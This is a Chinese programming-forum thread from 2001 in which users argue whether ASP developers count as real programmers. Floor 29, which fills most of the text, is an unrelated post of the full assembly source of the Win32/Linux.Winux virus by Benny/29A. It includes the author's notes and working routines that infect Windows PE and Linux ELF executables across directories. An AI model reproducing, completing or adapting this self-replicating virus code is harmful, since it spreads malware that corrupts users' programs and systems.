调查:什么样的人才是程序员?在C#有人质疑做ASP的不是程序员,不服气,就来调查一下。
问题点数:125、回复次数:169Top
1 楼net_lover(【孟子E章】)回复于 2001-07-15 11:56:33 得分 20
编写代码的都是![CODE]
程序是一行行的CODE组成!Top
2 楼ldy(罗大佑)回复于 2001-07-15 12:13:28 得分 20
ASP不是程序员,那么是不是只有用0101写程序的人才算程序员啊?
:)Top
3 楼nethero(nethero)回复于 2001-07-15 12:29:11 得分 20
有逻辑关系的代码就是程序,html没有逻辑关系,所以做网页不是程序,javascript有逻辑关系,所以就算程序。对于“真正的程序员”来说,涉及到结构和算法的才算程序,C/C++是程序,
Asp,PHP,Jsp只是完成web页面功能实现,几乎没有任何算法可言,所以“不算程序”。
是不是程序,仁者见仁,智者见智!Top
4 楼liugys(liuliu)回复于 2001-07-15 13:23:35 得分 20
hehe,你们觉得ASP比学Delphi、C++简单吗?
我看未必,做ASP要学的东西很多,HTML,Javascript,vbscript,数据库一定的美术功底。ASP程序员也可以说是程序设计师!Top
5 楼liugys(liuliu)回复于 2001-07-15 13:30:31 得分 5
其实这个问题不必争论,计算机本来就是为人服务的,编程是人控制计算机的方法,所以说你不管用什么语言,只要能做出成果,创造价值就行了!Top
6 楼newwawa(newwawa)回复于 2001-07-15 13:34:47 得分 0
同意:liugys
真是这样的,做不出东西,什么也不是!Top
7 楼freezwy(网络自由人)回复于 2001-07-15 14:35:03 得分 0
我是同意你们的说法,但是有些C++人认为他们才是程序员,简直是不知道天高地厚!Top
8 楼rejobs(发呆小子)回复于 2001-07-15 14:42:00 得分 0
ASP可以肯定的说是程序员,
Top
9 楼liugys(liuliu)回复于 2001-07-15 14:42:19 得分 0
he,程序员又是什么呢?做的是写代码的工作。但世上可做的事情那么多,不管什么工作,只要你努力做,就不会比谁差的,根本不存在比谁高一等的事!Top
10 楼freezwy(网络自由人)回复于 2001-07-15 16:42:12 得分 0
这个帖子的目的就是澄清这些东西,让大家都能清醒的认识自己。
共同努力吧!Top
11 楼ar7_top(黑白呸,男生女生呸)回复于 2001-07-15 17:11:08 得分 0
没听说写 ASP 的不是程序员这个说法
ASP 程序员,或者是 WEB 程序员,我们这边都是这么称呼的
呵呵,你说算不算程序员Top
12 楼smalle(锋)回复于 2001-07-15 18:21:15 得分 0
ASP涉及的面甚广,除了ASP有VBSCRIPT等本身的编程逻辑之外,通过组件来扩充功能时,你还要懂得编那些组件,可以这样说,ASP包括现在所有的编程语言。Top
13 楼aqiu(阿秋)回复于 2001-07-15 19:48:05 得分 0
我也觉得asp不是程序员
因为我用asp总感觉心里不踏实Top
14 楼Patrick_DK(我有我的调调,就是这么屌)回复于 2001-07-15 20:01:29 得分 0
我觉得ASPer应该算是一个CODER,和PROGRAMMER还是有区别的。Top
15 楼freezwy(网络自由人)回复于 2001-07-15 23:24:57 得分 0
让那些自以为是的程序员好好反省吧,他们能做的也仅仅是那些,这些我们也能做,比他们做的更有成就感,更丰富!Top
16 楼lvli007(虫虫)回复于 2001-07-16 09:33:59 得分 0
就算我们不是程序员,那帮拿个c#乱喷的又是什么东东呢?asp的确不是程序语言,但vbscript、jscript也算是语言吧!在.net中还有vb.net、c#。我想我们会的比那群只认c的家伙多多了!!!!Top
17 楼superyangku(shark)回复于 2001-07-16 11:09:23 得分 0
是又怎么样?
不是又怎么样?
Top
18 楼yuezw()羊拉多纳()回复于 2001-07-16 14:39:30 得分 0
to:superyangku(杨酷)
什么时间跑到这里来了!Top
19 楼tian_wj(小贝壳)回复于 2001-07-16 15:39:16 得分 0
我也是asp的,但心里很不踏实,想学java,vb等,也许,asp真的不是什么程序员,
我也迷茫!!!!Top
20 楼peter_dmh(peter_dmh)回复于 2001-07-16 16:18:47 得分 0
我看来ASP却实能算什么程序,不过呢?里面用到的JS或VBscript可就算了,况且要真正的用好ASP不只是几个页面数据库就搞定的,想想Activex(我想大多数搞开发的都愿意自己搞吧,别人的用着有点怪怪的),这用什么开发?搞Asp开发并不是光会一门就行了的,知道的我了,明白把有用的东西都集合起来那才能做到开发出来的东西有人用有人买(搞开发不就是money吗?)。还有啊,搞Asp开发的算不算程序员还要看你个人能力啦,如果你只会asp那还以往后站吧(何况这样你也拿不到多少工资的)所以还是多学点吧!等真正成为程序员(或高程)时在去找那个C#的人看看谁是谁不是!Top
21 楼ecfa(菜鸟满天飞,少不了我一个)回复于 2001-07-16 17:42:30 得分 0
用vbscript不算程序员?
俺曾经用vbscript在一个页面上实现一个动态在二维方向增长表格,光客户端为了森林的生成删除就写了1000多行。
有人用vbscript写客户端的公式解释器。一定比你的C#hello world复杂吧?
其实程序员重要的式思维,素质。Top
22 楼lg75()回复于 2001-07-16 18:43:02 得分 0
网络大裁员,ASP们最近也比较胆寒吧!
一大堆HTML里插入几句,猛一看代码也挺多的。Top
23 楼feijunjun(军仔)回复于 2001-07-16 19:13:00 得分 0
我又用ASP 又用 VC 又用 VB,我想会ASP的一般都会VB,而会VB的算不算程序员?
VB中也有算法、结构等等Top
24 楼freezwy(网络自由人)回复于 2001-07-16 19:29:03 得分 0
其实,是不是程序员,这个并不重要,仅仅是满足自己的虚荣心罢了。Top
25 楼programlover(彭建雄)回复于 2001-07-16 20:16:35 得分 0
请问各位大侠:
你们知道什么叫程序?
做程序的就是程序员!
Top
26 楼xycleo()虚竹和尚()回复于 2001-07-16 20:31:35 得分 0
做程序的就是程序员!!!!!!!!!!!!!!!!!!!
程序=============算法+++++++++数据结构!!!!!!!!!!!!!!!!Top
27 楼redk(安红)回复于 2001-07-16 20:57:23 得分 0
这种问题讨论很无聊,
Top
28 楼freezwy(网络自由人)回复于 2001-07-16 21:11:02 得分 0
我也觉得挺无聊的,但是就是不服气而已,也好让刚学的人有个了解Top
29 楼bosedon(sjl)回复于 2001-07-16 22:47:04 得分 0
; ***************************
; * 病毒 Win32/Linux.Winux *
; ***************************
; ******************
; * 作者 Benny/29A *
; ******************
;
;
;
;Heya ppl,
;
;lemme introduce you my first multi-platform virus, the worlds first
;PE/ELF infector. The idea of first Win32/Linux virus came to my head
;when I was learning Linux viruses. I'm not Linux expert, I couldn't
;code for Linux in assembler - I am familiar with Intel syntax, AT&T
;is a bit chaotic for me. However, I decided to learn more about Linux
;coding and left my place of newbee. I was always fascinated of Linux
;scene and low-level programming under Linux but I never knew much
;about it.
;
;I wanted to code virus for Linux and learn from it. But becoz there
;already exist some viruses and I knew I won't be able to bring any
;new technique, I decided to code something unique -> Win32/Linux
;compatible multi-platform infector. And here you can find the result
;of my trying. Now, after all, I've got some valuable experiencez and
;I'm glad for that. Coding/debugging in Linux was hard for me, but I
;had fun and I learned a lot. And that's the most important.
;
;
;********************
;*技术成分: *
;********************
;
;The virus itself ain't much. It's not big, it's not complicated,
;it's not resident nor polymorphic.. I wanted to be the virus like
;this. Just to show something new, show that something never seen
;before is possible and how can it be coded.
;
;The virus is devided to two partz: Win32 part and Linux part. Every
;part is able to infect both of PE and ELF filez. This source is
;designed to be compiled by TASM under Win32, nevertheless it can
;infect Linux programz and so then it will be able to be executed
;in Linux environment (and there it is also able to infect
;Win32 part, which can be executed in Win32 environment etc etc etc...).
;
;*************
;*Win32 部分:*
;*************
;
;Virus infects PE filez by overwritting .reloc section, so it does not
;enlarge host file size. Filez that don't have .reloc section, big
;enough for virus code, can't be infected (explorer.exe can be used to
;test infection capabilities). It can pass thru directory tree by well
;known "dotdot" method ("cd ..") and there infects all PE and ELF
;filez - virus does not check extensionz, it analyses victim's internal
;format and then decidez whata do.
;When all filez are passed and/or infected virus will execute host code.
;
;**************
;*Linux 部分: *
;**************
;
;Virus infects ELF filez by overwritting host code by viral code. The
;original host code is stored at the end of host file. It can infect
;all filez (both of PE and ELF) in current directory, also without
;checking file extensionz.
;When all filez are passed and/or infected virus will restore host code
;(overwrite itself by original host code) and execute it.
;
;
;Well, you are probably asking how it is possible that virus can infect Win32
;appz from Linux environment and Linux appz from Win32 environment. Yeah,
;many ppl already asked me. For instance, under some emulator. There exist
;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
;appz under Linux. Also, I know many ppl that have partition specially
;reserved for CD burning, where they store both of Win32 and Linux programz.
;Virus executed from there has no problemz with infection, heh ;)
;
;
;Does this virus work? Heh, sure it does. I tested it on Win98, Win2000 and
;RedHat 7.0, and it worked without any problemz. However, if you will find
;any problemz, don't by shy and send me a bug report ;-P
;
;
;************
;*版权信息: *
;************
;
;This virus is covered by GPL - GNU General Public Licence. All crucial
;facts can be found there. Read it before using!
;
;
;************
;*最终的话: *
;************
;
;While I was finishing Universe and coding Winux, many personal thingz
;happened to me. Again such depressive season as only winter can be
;fell down on me.. I'm finishing my high-school, last year, many examz
;(and I know nothing, you know that feeling, heh :) etc. End of next
;stage of my life is getting closer and I don't know how will that next
;one be for me, what it will take and bring to me. I'm looking forward
;to summer, the best season in the year, no depression, no school, no
;fucking problemz I still have and can't hold them all.. c ya l8r,
;somewhere in timespace..
;
;
;
;*********************************************
;* # Benny / 29A *
;* @ benny@post.cz *
;* (c) March, 2001 @ http://benny29a.cjb.net *
;* Czech Republic *
;*********************************************
.386p
.model flat
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
.data
db ?
.code
Start: pushad
@SEH_SetupFrame <jmp end_host> ;setup SEH frame
call gdelta
gdelta: pop ebp ;ebp=delta offset
call get_base ;get K32 base address
call get_apis ;find addresses of APIz
lea eax,[ebp + prev_dir - gdelta]
push eax
push MAX_PATH
call [ebp + a_GetCurrentDirectoryA - gdelta]
;get current directory
push 20
pop ecx ;20 passes in directory tree
f_infect:
push ecx
;direct action - infect all PE filez in directory
lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
push esi ;save its address
@pushsz '*.*' ;search for all filez
call [ebp + a_FindFirstFileA - gdelta] ;find first file
inc eax
je e_find ;quit if not found
dec eax
push eax ;save search handle to stack
f_next: call wCheckInfect ;infect found file
push esi ;save WFD structure
push dword ptr [esp+4] ;and search handle from stack
call [ebp + a_FindNextFileA - gdelta];find next file
test eax,eax
jne f_next ;and infect it
f_close:call [ebp + a_FindClose - gdelta] ;close search handle
e_find: @pushsz '..'
mov esi,[ebp + a_SetCurrentDirectoryA - gdelta]
call esi ;go upper in directory tree
pop ecx
loop f_infect ;and again..
lea eax,[ebp + prev_dir - gdelta]
push eax
call esi ;go back to original directory
end_host:
@SEH_RemoveFrame ;remove SEH frame
popad
extrn ExitProcess
mov eax,offset ExitProcess-400000h
original_ep = dword ptr $-4
add eax,400000h
image_base = dword ptr $-4
jmp eax ;and go back to host program
;INFECT FILE (Win32 version)
wCheckInfect Proc
pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
and dword ptr [ebp + sucElf - gdelta],0
test [esi.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne end_seh ;discard directory entries
xor ecx,ecx
cmp [esi.WFD_nFileSizeHigh],ecx
jne end_seh ;discard files >4GB
mov eax,[esi.WFD_nFileSizeLow]
cmp eax,4000h
jb end_seh ;discard small filez
mov [ebp + l_lseek - gdelta],eax
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
lea eax,[esi.WFD_szFileName]
push eax
call [ebp + a_CreateFileA - gdelta] ;open file
inc eax
je end_seh
dec eax
mov [ebp + hFile - gdelta],eax
cdq
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gdelta]
cdq
xchg eax,ecx
jecxz end_cfma
mov [ebp + hMapFile - gdelta],ecx
push edx
push edx
push edx
push FILE_MAP_WRITE
push ecx ;map file to address space
call [ebp + a_MapViewOfFile - gdelta]
xchg eax,ecx
jecxz end_mvof
mov [ebp + lpFile - gdelta],ecx
jmp n_fileopen
close_file:
push 12345678h
lpFile = dword ptr $-4 ;unmap file
call [ebp + a_UnmapViewOfFile - gdelta]
end_mvof:
push 12345678h
hMapFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta]
end_cfma:
mov ecx,12345678h ;was it linux program (ELF)?
sucElf = dword ptr $-4
jecxz c_close ;no, close that file
push 2
push 0
push 0
push dword ptr [ebp + hFile - gdelta]
call [ebp + a_SetFilePointer - gdelta]
;go to EOF
push 0
lea eax,[ebp + sucElf - gdelta]
push eax
push virtual_end-Start
push 12345678h
a_mem = dword ptr $-4
push dword ptr [ebp + hFile - gdelta]
call [ebp + a_WriteFile - gdelta]
;write there orig. program part
push MEM_RELEASE
push 0
push dword ptr [ebp + a_mem - gdelta]
call [ebp + a_VirtualFree - gdelta]
;and deallocate used memory
c_close:push 12345678h
hFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close file
jmp end_seh ;and quit
n_fileopen:
call check_elf
je wInfectELF ;is it Linux program (ELF)?
add ax,-IMAGE_DOS_SIGNATURE
jne close_file
call check_pe
jne close_file ;is it Win32 program (PE)?
;important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne close_file
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je close_file
test ax,IMAGE_FILE_DLL
jne close_file
test ax,IMAGE_FILE_SYSTEM
jne close_file
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne close_file
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je close_file
call header&relocs ;get PE headerz and check for relocs
je close_file ;quit if no relocs
mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne close_file
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb close_file ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;erase relocs record
call set_alignz ;align section variable
push dword ptr [ebp + original_ep - gdelta]
push dword ptr [ebp + image_base - gdelta]
;save used variablez
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - gdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - gdelta],eax
;set variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[ebp + lpFile - gdelta]
lea esi,[ebp + Start - gdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus body
popad
pop dword ptr [ebp + image_base - gdelta]
pop dword ptr [ebp + original_ep - gdelta]
;restore used variablez
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jmp close_file ;set flag and quit
wCheckInfect EndP
;INFECT LINUX PROGRAM (Win32 version)
wInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne close_file
call get_elf ;get elf headerz
p_sectionz:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz ;ECX-timez
jmp close_file ;invalid ELF, quit
got_section:
mov eax,[ebp + Start - gdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je close_file ;infection check
mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb close_file ;must be large enough
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push eax
push 0
call [ebp + a_VirtualAlloc - gdelta]
test eax,eax ;allocate buffer for host code
je close_file
mov [ebp + a_mem - gdelta],eax
pushad
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
push esi
xchg eax,edi
rep movsb ;copy host code to our buffer
pop edi
lea esi,[ebp + Start - gdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus body
popad
add dword ptr [edi+18h],LinuxStart-Start
mov [ebp + sucElf - gdelta],edi
jmp close_file ;set semaphore and quit
wInfectELF EndP
;this procedure can retrieve API addresses
get_apis Proc
pushad
@SEH_SetupFrame <jmp q_gpa>
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_gpa>;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP
;this procedure can retrieve base address of K32
get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP
mov eax,12345678h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address
call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item
call scan_kern ;scan the address space for K32
end_gb: pop ebp ;restore EBP
ret ;quit
check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found
SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm
scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
signature db 0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0
;little signature of mine ;-)
;Viral entrypoint in Linux programz
LinuxStart:
push eax ;reserve variable for return to host
pushad
mov ebx,[esp.cPushad+8] ;get command line
call lgdelta
lgdelta:pop ebp ;ebp=delta offset
mov ecx,end_end_lhost-end_lhost
sub esp,ecx
mov edi,esp
lea esi,[ebp + end_lhost - lgdelta]
rep movsb ;copy virus to stack and jump there
jmp esp ;(becoz we need to restore host code back)
end_lhost Proc
push ebx
push 125
pop eax
lea ebx,[ebp + Start - lgdelta]
and ebx,0FFFFF000h
mov ecx,3000h
mov edx,7
int 80h ;deprotect code section
pop ebx
push 5
pop eax
xor ecx,ecx
int 80h ;open host file
xchg eax,ebx
test ebx,ebx
jns read_host
q_host: xor eax,eax
inc eax
push -1
pop ebx
int 80h ;quit if error
read_host:
push 19
pop eax
mov ecx,12345678h
l_lseek = dword ptr $-4
cdq
int 80h ;seek to saved host code (EOF - some bytez)
test eax,eax
js q_host
pushad
push 5
pop eax
call cur_dir
db '.',0
cur_dir:pop ebx
xor ecx,ecx
cdq
int 80h ;get current directory descriptor
xchg eax,ebx
inf_dir:push 89
pop eax
lea ecx,[ebp + WFD - lgdelta]
int 80h ;get file from directory
xchg eax,ecx
jecxz cldir ;no more filez..
add eax,10
call lCheckInfect ;try to infect it
jmp inf_dir ;and look for another file
cldir: push 6
pop eax
int 80h ;close directory descriptor
popad
push 3
pop eax
lea ecx,[ebp + Start - lgdelta]
mov edi,ecx
mov edx,virtual_end-Start
int 80h ;restore host code
test eax,eax
js q_host
push 6
pop eax
int 80h ;close host file descriptor
add esp,end_end_lhost-end_lhost
mov [esp.cPushad],edi ;write host entrypoint address
popad
ret ;and jump to there
;INFECT FILE (Linux version)
lCheckInfect Proc
pushad
xchg eax,ebx
push 5
pop eax
cdq
inc edx
inc edx
mov ecx,edx
int 80h ;open file
xchg eax,ebx
test ebx,ebx
jns c_open
popad
ret
c_open: mov [ebp + f_handle - lgdelta],ebx
push 19
pop eax
xor ecx,ecx
int 80h ;seek to EOF = get file size
mov [ebp + l_lseek - lgdelta],eax
;save it
push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
push eax
xor ecx,ecx
push ecx
mov ebx,esp
push 90
pop eax
int 80h ;map file to address space
add esp,24
cmp eax,0FFFFF000h
jbe c_mmap ;quit if error
jmp c_file
c_mmap: mov ecx,eax
mov [ebp + fm_handle - lgdelta],eax
pushad
call check_elf
je lInfectELF ;is it Linux program (ELF)?
add ax,IMAGE_DOS_SIGNATURE
jne c_mfile
call check_pe
jne c_mfile ;is it Win32 program (PE)?
;some important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne c_mfile
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je c_mfile
test ax,IMAGE_FILE_DLL
jne c_mfile
test ax,IMAGE_FILE_SYSTEM
jne c_mfile
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne c_mfile
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je c_mfile
call header&relocs ;get PE headerz and check for relocs
je c_mfile ;quit if no relocs
mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne c_mfile
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb c_mfile ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;clear relocs record
call set_alignz ;align section variable
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - lgdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - lgdelta],eax
;set some important variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[esp+24]
lea esi,[ebp + Start - lgdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus code
popad
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set flag
c_mfile:popad
push 91
pop eax
int 80h ;unmap file
c_file: push 6
pop eax
mov ebx,[ebp + f_handle - lgdelta]
int 80h ;close file descriptor
popad
ret ;and quit
lCheckInfect EndP
;INFECT LINUX PROGRAM (Linux version)
lInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne c_mfile
call get_elf ;get ELF headerz
p_sectionz2:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section2 ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz2 ;ECX-timez
jmp c_mfile ;invalid ELF, quit
got_section2:
mov eax,[ebp + Start - lgdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je c_mfile ;infection check
mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb c_mfile ;is it large enough?
sub esp,eax ;create buffer in stack
mov [ebp + s_mem - lgdelta],eax
add dword ptr [edi+18h],LinuxStart-Start
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
mov eax,esi
mov edi,esp
rep movsb ;copy original host code there
mov edi,eax
lea esi,[ebp + Start - lgdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus
push 91
pop eax
mov ebx,[ebp + fm_handle - lgdelta]
int 80h ;unmap file
push 19
pop eax
mov ebx,[ebp + f_handle - lgdelta]
xor ecx,ecx
cdq
inc edx
inc edx
int 80h ;go to EOF
push 4
pop eax
mov ecx,esp
mov edx,virtual_end-Start
int 80h ;write there original host code
add esp,[ebp + s_mem - lgdelta]
popad ;correct stack
jmp c_file ;and close the file
lInfectELF EndP
;check if it is Linux program (ELF)
check_elf Proc
mov eax,[ecx]
push eax
add eax,-464C457Fh
pop eax
ret
check_elf EndP
;check if it is Win32 program (PE)
check_pe Proc
mov eax,[ecx.MZ_lfanew]
add eax,ecx
xchg eax,esi
mov eax,[esi]
add eax,IMAGE_NT_SIGNATURE
ret
check_pe EndP
;get some variablez and check for relocationz in PE file
header&relocs Proc
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
mov eax,[edx]
test eax,eax
ret
header&relocs EndP
;align section variable
set_alignz Proc
mov eax,virtual_end-Start
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: ret
set_alignz EndP
;get some important variablez from Linux program (ELF)
get_elf Proc
mov ebx,[edi+18h] ;EP
mov esi,[edi+20h] ;section header
add esi,edi ;normalize
movzx edx,word ptr [edi+2Eh] ;size of section header
movzx ecx,word ptr [edi+30h] ;number of sectionz
ret
get_elf EndP
end_end_lhost:
end_lhost EndP
gpl db 'This GNU program is covered by GPL.',0
;licence agreement ;-)
;CRC32s of used APIz
crc32s: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 068624A9Dh ;CloseHandle
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 021777793h ;WriteFile
dd 085859D42h ;SetFilePointer
dd 0EBC6C18Bh ;GetCurrentDirectoryA
dd 0B2DBD7DCh ;SetCurrentDirectoryA
dd 07495B3ADh ;OutputDebugStringA
crc32c = ($-crc32s)/4 ;number of APIz
virus_end:
;addresses of APIz
a_apis:
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_CloseHandle dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
